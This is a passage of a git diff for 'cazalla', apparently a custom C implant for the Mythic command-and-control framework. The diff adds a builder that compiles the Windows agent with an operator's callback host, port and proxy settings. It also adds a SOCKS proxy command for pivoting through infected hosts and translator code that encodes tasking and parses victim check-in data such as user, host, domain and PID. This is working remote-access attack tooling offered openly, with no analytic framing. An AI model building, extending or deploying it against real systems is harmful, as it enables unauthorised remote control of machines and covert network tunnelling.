BuildResponse(status=BuildStatus.Success) + Config = { + "payload_uuid": self.uuid, + "callback_host": "", + "USER_AGENT": "", + "httpMethod": "POST", + "post_uri": "", + "headers": [], + "callback_port": 80, + "ssl": False, + "proxyEnabled": False, + "proxy_host": "", + "proxy_user": "", + "proxy_pass": "", + } + + for c2 in self.c2info: + profile = c2.get_c2profile() + for key, val in c2.get_parameters_dict().items(): + if isinstance(val, dict) and 'enc_key' in val: + encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" + else: + Config[key] = val + break + + if "https://" in Config["callback_host"]: + Config["ssl"] = True + Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") + if Config["proxy_host"] != "": + Config["proxyEnabled"] = True + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Gathering Files", + StepStdout="Found all files for payload", + StepSuccess=True + )) + + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + + # copia el proyecto completo (no solo agent_code) + copy_tree(str(self.agent_path), agent_build_path.name) + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Applying configuration", + StepStdout="All configuration setting applied", + StepSuccess=True + )) + + # 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/ + config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" + with open(config_path, "r+") as f: + content = f.read() + content = content.replace("%UUID%", Config["payload_uuid"]) + content = content.replace("%HOSTNAME%", Config["callback_host"]) + content = content.replace("%ENDPOINT%", Config["post_uri"]) + content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE") + content = content.replace("%PORT%", str(Config["callback_port"])) + content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) + content = content.replace("%USERAGENT%", Config["USER_AGENT"]) + content = content.replace("%PROXYURL%", Config["proxy_host"]) + content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE") + f.seek(0) + f.write(content) + f.truncate() + + command = f"make -C {agent_build_path.name}/agent_code/cazalla exe" + filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe" + + # proc = await asyncio.create_subprocess_shell( + # command, + # stdout=asyncio.subprocess.PIPE, + # stderr=asyncio.subprocess.PIPE + # ) + + # stdout, stderr = await proc.communicate() + # print(stdout.decode(), stderr.decode()) + + proc = await asyncio.create_subprocess_shell(command) + await proc.wait() + + + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout="Successfully compiled cazalla", + StepSuccess=True + )) + + resp.payload = open(filename, "rb").read() + return resp diff --git a/Payload_Type/cazalla/cazalla/agent_functions/socks.py b/Payload_Type/cazalla/cazalla/agent_functions/socks.py new file mode 100644 index 0000000..a8adb64 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/socks.py @@ -0,0 +1,114 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import ( + SendMythicRPCProxyStartCommand, + MythicRPCProxyStartMessage, + SendMythicRPCProxyStopCommand, + MythicRPCProxyStopMessage, + CALLBACK_PORT_TYPE_SOCKS +) +import json +import logging + +logging.basicConfig(level=logging.INFO) + + +class SocksArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="action", + type=ParameterType.ChooseOne, + description="Acción a realizar (start/stop)", + choices=["start", "stop"], + default_value="start", + parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)] + ), + CommandParameter( + name="port", + type=ParameterType.Number, + description="Puerto local a exponer (solo para start)", + parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Debe especificar 'start' o 'stop'.") + parts = self.command_line.strip().split() + action = parts[0].lower() + + if action not in ["start", "stop"]: + raise ValueError("Acción debe ser 'start' o 'stop'.") + + # Parsear puerto (opcional para ambos) + # Si no se especifica, usar 7002 como default (puerto común para SOCKS en Mythic) + port = int(parts[1]) if len(parts) > 1 else 7002 + self.add_arg("port", port) + self.add_arg("action", action) + + async def parse_dictionary(self, dictionary_arguments): + action = dictionary_arguments.get("action", "start") + # Si no hay puerto, usar 7002 como default + if "port" not in dictionary_arguments: + dictionary_arguments["port"] = 7002 + self.load_args_from_dictionary(dictionary_arguments) + + +class SocksCommand(CommandBase): + cmd = "socks" + needs_admin = False + help_cmd = "socks start [port] / socks stop [port]" + description = "Inicia o detiene el proxy SOCKS en el servidor Mythic. Puerto por defecto: 7002" + version = 1 + author = "OFSTeam" + argument_class = SocksArguments + attackmapping = [] + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows], + builtin=True, + ) + + async def create_tasking(self, task: MythicTask) -> MythicTask: + action = task.args.get_arg("action") + port = task.args.get_arg("port") + task.display_params = f"{action.upper()} (puerto {port})" if action == "start" else "STOP" + return task + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True) + + action = taskData.args.get_arg("action") + port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 7002 + + try: + if action == "start": + resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage( + TaskID=taskData.Task.ID, + LocalPort=port, + PortType=CALLBACK_PORT_TYPE_SOCKS + )) + logging.info(f"SOCKS proxy started on port {port}: {resp}") + if not resp.Success: + response.Success = False + response.Error = resp.Error + elif action == "stop": + # MythicRPCProxyStopMessage también requiere Port y PortType + resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage( + TaskID=taskData.Task.ID, + Port=port, + PortType=CALLBACK_PORT_TYPE_SOCKS + )) + logging.info(f"SOCKS proxy stopped: {resp}") + if not resp.Success: + response.Success = False + response.Error = resp.Error + except Exception as e: + logging.error(f"Error en SOCKS RPC: {e}") + response.Success = False + response.Error = str(e) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 39b61b8..6e83ea9 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -13,7 +13,11 @@ commands = { "pwd": {"hex_code": 0x22, "input_type": None}, "cp": {"hex_code": 0x23, "input_type": "string"}, "mkdir": {"hex_code": 0x24, "input_type": "string"}, - "rm": {"hex_code": 0x25, "input_type": "string"} + "rm": {"hex_code": 0x25, "input_type": "string"}, + # Added SOCKS control commands + "start_socks": {"hex_code": 0x60, "input_type": "int"}, + "stop_socks": {"hex_code": 0x61, "input_type": None}, + "socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente } def responseTasking(tasks): @@ -62,9 +66,28 @@ def responseTasking(tasks): parameters = json.loads(task["parameters"]) data += len(parameters).to_bytes(4, "big") for param in parameters: + # Expecting integer values in parameters dict data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente else: data += b"\x00\x00\x00\x00" + dataTask += len(data).to_bytes(4, "big") + data + + elif commands[command_to_run]["input_type"] == "socks_special": + # Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61) + parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} + action = parameters.get("action", "start") + port = parameters.get("port", 1080) + + if action == "start": + # START_SOCKS_CMD (0x60) + task_id + puerto + data = bytes([0x60]) + task_id + data += port.to_bytes(4, "big") + print(f"[DEBUG] SOCKS START: port={port}") + else: + # STOP_SOCKS_CMD (0x61) + task_id (sin parámetros) + data = bytes([0x61]) + task_id + print(f"[DEBUG] SOCKS STOP") + dataTask += len(data).to_bytes(4, "big") + data dataToSend = dataHead + dataTask @@ -84,4 +107,4 @@ def responsePosting(responses): data += b"\x01" else: data += b"\x00" - return data \ No newline at end of file + return data diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index 60b0410..f0cb4f3 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -2,12 +2,12 @@ from translator.utils import * import ipaddress import json + def checkIn(data): - # Retrieve UUID uuid = data[:36] data = data[36:] - + # Retrieve IPs numIPs = int.from_bytes(data[0:4]) data = data[4:] @@ -19,11 +19,11 @@ def checkIn(data): addr = str(ipaddress.ip_address(ip)) IPs.append(addr) i += 1 - + # Retrieve OS targetOS, data = getBytesWithSize(data) - - # Retrive Architecture + + # Retrieve Architecture archOS = data[0] if archOS == 0x64: archOS = "x64" @@ -32,7 +32,7 @@ def checkIn(data): else: archOS = "" data = data[1:] - + # Retrieve HostName hostname, data = getBytesWithSize(data) @@ -41,7 +41,7 @@ def checkIn(data): # Retrieve Domaine domain, data = getBytesWithSize(data) - + # Retrieve PID pid = int.from_bytes(data[0:4]) data = data[4:] @@ -49,34 +49,34 @@ def checkIn(data): # Retrieve Process Name processName, data = getBytesWithSize(data) - #Retrieve External IP + # Retrieve External IP externalIP, data = getBytesWithSize(data) dataJson = { - "action": "checkin", - "ips": IPs, - "os": targetOS.decode('cp850'), - "user": username.decode('cp850'), - "host": hostname.decode('cp850'), - "domain": domain.decode('UTF-16LE'), - "process_name":processName.decode('cp850'), - "pid": pid, - "uuid": uuid.decode('cp850'), - "architecture": archOS , - "externalIP": externalIP.decode('cp850'), - } - + "action": "checkin", + "ips": IPs, + "os": targetOS.decode('cp850'), + "user": username.decode('cp850'), + "host": hostname.decode('cp850'), + "domain": domain.decode('UTF-16LE'), + "process_name": processName.decode('cp850'), + "pid": pid, + "uuid": uuid.decode('cp850'), + "architecture": archOS, + "externalIP": externalIP.decode('cp850'), + } + return dataJson def getTasking(data): numTasks = int.from_bytes(data[0:4]) - dataJson = { "action": "get_tasking", "tasking_size": numTasks } + dataJson = {"action": "get_tasking", "tasking_size": numTasks} return dataJson def postResponse(data): - print("Tamaño del Base64 recibido: {len(data)} bytes") + print(f"Tamaño del Base64 recibido: {len(data)} bytes") resTaks = [] uuidTask = data[:36] @@ -84,29 +84,44 @@ def postResponse(data): output, data = getBytesWithSize(data) - print("Tamaño después de extraer UUID: {len(data)} bytes") + print(f"Tamaño después de extraer UUID: {len(data)} bytes") try: decoded_output = output.decode('cp850') except Exception as e: - print("Fallo al decodificar la salida: {e}") + print(f"Fallo al decodificar la salida: {e}") decoded_output = "[ERROR DECODIFICANDO]" jsonTask = { "task_id": uuidTask.decode('cp850'), "user_output": decoded_output, + "completed": True, } - jsonTask["completed"] = True resTaks.append(jsonTask) - dataJson = { - "action": "post_response", - "responses": resTaks - } - - print("Respuesta generada: {json.dumps(dataJson, indent=4)}") - + dataJson = {"action": "post_response", "responses": resTaks} + + print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}") + return dataJson -##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO \ No newline at end of file + +# ========================================================== +# NUEVAS FUNCIONES PARA SOPORTE SOCKS +# ========================================================== + +def startSocks(data): + """Parses incoming data for start_socks tasks.""" + if len(data) >= 4: + port = int.from_bytes(data[:4], "big") + else: + port = 1080 + print(f"[DEBUG] startSocks(): puerto recibido -> {port}") + return {"action": "start_socks", "port": port} + + +def stopSocks(data): + """Parses incoming data for stop_socks tasks.""" + print("[DEBUG] stopSocks() recibido") + return {"action": "stop_socks"} diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index 659179f..11dce3b 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -9,9 +9,9 @@ from translator.commands_from_implant import * from mythic_container.TranslationBase import * -class cazalla_translator(TranslationContainer): +class cazalla_translator(TranslationContainer): name = "cazalla_translator" - description = "python translation service for the Kaseya C agent Cazalla" + description = "Python translation service for the C agent Cazalla" author = "OFSTeam" async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: @@ -23,30 +23,171 @@ class cazalla_translator(TranslationContainer): async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) + if inputMsg.Message["action"] == "checkin": print("Response CHECKIN") response.Message = responseCheckin(inputMsg.Message["id"]) + elif inputMsg.Message["action"] == "get_tasking": print("Response TASKING") - response.Message = responseTasking(inputMsg.Message["tasks"]) + response.Message = responseTasking(inputMsg.Message["tasks"]) # base tasks + print(f"[TRANSLATOR] Base tasking message: {len(response.Message)} bytes") + # Append SOCKS array if present from Mythic + socks_list = inputMsg.Message.get("socks", []) + print(f"[TRANSLATOR] SOCKS list: {len(socks_list)} items") + if socks_list: + # Encode an extension block for C agent: 0xF5 | [len] | [records] + # Each record: [Int32 server_id][Byte exit][Int32 b64len][b64] + extension = bytearray() + for s in socks_list: + sid = int(s.get("server_id", 0)) + exitb = 1 if s.get("exit", False) else 0 + data_str = s.get("data") or "" + b64 = data_str.encode() if data_str else b"" + data_preview = data_str[:50] if data_str else "(null)" + print(f"[TRANSLATOR] SOCKS: sid={sid} exit={exitb} b64_len={len(b64)} data={data_preview}") + extension += sid.to_bytes(4, "big") + extension += bytes([exitb]) + extension += len(b64).to_bytes(4, "big") + extension += b64 + socks_block = bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension) + print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})") + response.Message += socks_block + print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes") + elif inputMsg.Message["action"] == "post_response": print("Response POSTREP") - response.Message = responsePosting(inputMsg.Message["responses"]) + response.Message = responsePosting(inputMsg.Message["responses"]) # base responses + socks_list = inputMsg.Message.get("socks", []) + if socks_list: + extension = bytearray() + for s in socks_list: + sid = int(s.get("server_id", 0)) + exitb = 1 if s.get("exit", False) else 0 + data_str = s.get("data") or "" + b64 = data_str.encode() if data_str else b"" + extension += sid.to_bytes(4, "big") + extension += bytes([exitb]) + extension += len(b64).to_bytes(4, "big") + extension += b64 + response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension) + + # ============================ + # NUEVOS COMANDOS SOCKS + # ============================ + elif inputMsg.Message["action"] == "start_socks": + print("Response START_SOCKS") + # Construye un paquete de tipo "start_socks" con el puerto + tasks = [{ + "command": "start_socks", + "id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"), + "parameters": json.dumps({"port": int(inputMsg.Message.get("port", 1080))}) + }] + response.Message = responseTasking(tasks) + + elif inputMsg.Message["action"] == "stop_socks": + print("Response STOP_SOCKS") + tasks = [{ + "command": "stop_socks", + "id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"), + "parameters": "" + }] + response.Message = responseTasking(tasks) + return response + + def extract_socks_block(self, data): + """Extrae el bloque SOCKS (0xF5) del mensaje del implante y lo parsea.""" + socks_array = [] + clean_data = data + + # Buscar el marcador 0xF5 + cursor = 0 + while cursor + 5 <= len(data): + if data[cursor] == 0xF5: + print(f"[TRANSLATOR] ¡Bloque SOCKS 0xF5 encontrado en offset {cursor}!") + # Leer longitud del bloque + ext_len = int.from_bytes(data[cursor+1:cursor+5], "big") + print(f"[TRANSLATOR] Longitud del bloque SOCKS: {ext_len} bytes") + + if cursor + 5 + ext_len > len(data): + print(f"[TRANSLATOR] ERROR: bloque SOCKS truncado") + break + + # Parsear cada registro SOCKS dentro del bloque + ecur = cursor + 5 + eend = cursor + 5 + ext_len + while ecur + 9 <= eend: + sid = int.from_bytes(data[ecur:ecur+4], "big") + exitf = data[ecur+4] + b64len = int.from_bytes(data[ecur+5:ecur+9], "big") + ecur += 9 + + if ecur + b64len > eend: + print(f"[TRANSLATOR] ERROR: registro SOCKS truncado") + break + + # Extraer datos base64 + b64_data = None + if b64len > 0: + b64_data = data[ecur:ecur+b64len].decode('ascii') + + socks_record = { + "server_id": sid, + "exit": bool(exitf), + "data": b64_data + } + socks_array.append(socks_record) + print(f"[TRANSLATOR] SOCKS record: sid={sid} exit={exitf} b64_len={b64len}") + + ecur += b64len + + # Remover el bloque SOCKS del mensaje + clean_data = data[:cursor] + print(f"[TRANSLATOR] Bloque SOCKS extraído, {len(socks_array)} registros encontrados") + break + cursor += 1 + + return clean_data, socks_array + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) - #response.Message = json.loads(inputMsg.Message) data = inputMsg.Message + + # Extraer bloque SOCKS si existe (después del primer byte de comando) + clean_data, socks_array = self.extract_socks_block(data[1:]) + if data[0] == commands["checkin"]["hex_code"]: print("CHECK IN") - response.Message = checkIn(data[1:]) - elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING + response.Message = checkIn(clean_data) + + elif data[0] == commands["get_tasking"]["hex_code"]: print("GET TASKING") - response.Message = getTasking(data[1:]) - elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE + response.Message = getTasking(clean_data) + # Agregar array SOCKS si existe + if socks_array: + response.Message["socks"] = socks_array + print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING") + + elif data[0] == commands["post_response"]["hex_code"]: print("POST RESPONSE") - response.Message = postResponse(data[1:]) + response.Message = postResponse(clean_data) + # Agregar array SOCKS si existe + if socks_array: + response.Message["socks"] = socks_array + print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE") + + # ============================ + # NUEVOS COMANDOS SOCKS + # ============================ + elif data[0] == commands["start_socks"]["hex_code"]: + print("START SOCKS") + response.Message = startSocks(clean_data) + + elif data[0] == commands["stop_socks"]["hex_code"]: + print("STOP SOCKS") + response.Message = stopSocks(clean_data) return response